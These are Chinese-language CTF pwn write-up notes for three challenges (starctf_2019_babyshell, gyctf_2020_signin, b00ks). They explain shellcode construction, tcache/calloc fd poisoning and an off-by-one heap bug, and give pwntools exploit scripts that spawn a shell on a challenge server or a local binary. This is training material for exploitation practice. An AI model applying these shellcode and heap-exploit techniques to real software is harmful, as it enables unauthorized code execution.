starctf_2019_babyshell | special shellcode
考点:01是代码也可以是数据,所以只读数据段的数据拼接可以执行sys_read,利用IDA的转代码(字母C)来将只读数据段转成代码如下:
思路:构造read(0,&buf,count),rdi = 0,rsi = buf ,rdx = count,rax = 0(read_syscall),观察上面调用*buf函数的参数
eax = 0,rsi =buf,rdi与rdx还要调试一下。
python下两个断点,然后跳过一个断点,进入gdb c 得到下图
由下图进入 s
由下图可以代码执行sys_read
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
#p = process('./starctf_2019_babyshell')
p = remote('node4.buuoj.cn',25548)
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
#gdb.attach(proc.pidof(p)[0],gdbscript="b *0x4008cb")
shellcode = asm('pop rdx;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;syscall')
p.sendlineafter(' plz:
',shellcode)
sleep(1)
p.sendline('a'*(0x10+0x8-len(shellcode)) + str(asm(shellcraft.sh())))
p.interactive()
#p.sendline('cat flag')
gyctf_2020_signin | tcache
参考:
https://l3mon629.github.io/post/vandn2020-gong-kai-sai-easytheap/#tcache
https://www.cnblogs.com/luoleqi/p/13473995.html
calloc 有以下特性
不会分配 tcache chunk 中的 chunk 。
tcache 有以下特性
在分配 fastbin 中的 chunk 时若还有其他相同大小的 fastbin_chunk 则把它们全部放入 tcache 中。
程序中输入选项1.add,2.edit,3.delete,1和3分别调用malloc与free,还有一个backdoor函数调用alloc函数之后判断ptr的值,非零则执行shellcode
思路:
1.首先分配 8 个 0x80 大小的 chunk ,依次 free 掉,这样 tcache 中 0x80 的 chunk 列表已经被填满,还多了一个 0x80 的 chunk 在 fast bin 中。
2.分配一个 0x80 大小的 chunk ,这个 chunk 会从 tcache 中取出,这一步的目的是为了在 tcache 留出空位。
3.类似 fastbin attack ,将 fastbin 里的 chunk 的 fd 指针改为 ptr - 0x10 处,这样 calloc 将这个 chunk 分配出去时,就会认为 fd 指针对应的也是一个 chunk ,会把这个 chunk 放入 tcache ,而 tcache 中是以 fd 指针连接的,这样 ptr 的值就会被修改为某个 fd 的指针。这样我们就能执行 system('/bin/sh') 拿 shell 了。
转自pwnki师傅的https://www.cnblogs.com/luoleqi/p/13473995.html
from pwn import *
context.log_level = 'debug'
r = process('./gyctf_2020_signin')
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
gdb.attach(proc.pidof(r)[0],gdbscript="b main")
def add(idx):
r.sendlineafter('your choice?',str(1))
r.sendlineafter('idx?',str(idx))
def edit(idx,context):
r.sendlineafter('your choice?',str(2))
r.sendlineafter('idx?',str(idx))
r.send(context)
def delete(idx):
r.sendlineafter('your choice?',str(3))
r.sendlineafter('idx?',str(idx))
def add_all(index):
for i in range(index):
add(i)
def delete_all(index):
for j in range(index):
delete(j)
add_all(8) # add(0)...add(7)
delete_all(8)#0-6 Tcache 7 Fastbin
add(8) # malloc 6 from Tcache
payload = p64(0x4040c0-0x10).decode("iso-8859-1").ljust(0x50,'x00')
edit(7,payload)
r.sendlineafter('your choice?', '6') # calloc 7 from Fastbin and modify fd
r.interactive()
b00ks | off-by-one
计算:
DWORD:4字节 ,QWORD:8字节
*((_DWORD *)book + 6) = size; // book+6*4=book[6]=size
*((_QWORD *)off_202010 + v2) = book;// (bool*)book 类似flag,book_list[num] = book(记录新申请的内存地址)
*((_QWORD *)book + 2) = descript;//book+2*8
*((_QWORD *)book + 1) = name; // book+8
*(_DWORD *)book = ++unk_202024; //book+0 (int *)book = book_add++
hex:
book
0x000000 book_addr
0x000008 name
0x000010 description
0x000018 size
0x000020 book
signed __int64 __fastcall read_num(_BYTE *a1, int num)
{
int i; // [rsp+14h] [rbp-Ch]
_BYTE *buf; // [rsp+18h] [rbp-8h]
if ( num <= 0 )
return 0LL;
buf = a1;
for ( i = 0; ; ++i )
{
if ( (unsigned int)read(0, buf, 1uLL) != 1 )
return 1LL;
if ( *buf == 10 )
break;
++buf;
if ( i == num )
break;
}
*buf = 0;
return 0LL;
}
read_num(buf,num),buf[num]=0,存在 off-by-one 漏洞
create_name("A" * 32)
create_book(0x1d8, "a", 32, "b") # 使得 book1->description 的地址低位为 00
create_book(0x21000, "c", 0x21000, "d")
book_id, book_name, book_des, book_author = print_book(1)
ru("A"*32)
book1_addr = u64(book_author[32:32+6].ljust(8, b"x00"))
log.info("book1_addr: " + hex(book1_addr))
参考:
https://lantern.cool/wp-item-Asis-2016-b00ks/
https://ch4r1l3.github.io/2018/06/22/pwn从入门到放弃第三章——gdb的基本使用教程/
https://cq674350529.github.io/2018/06/05/asis-ctf-2016-pwn-b00ks/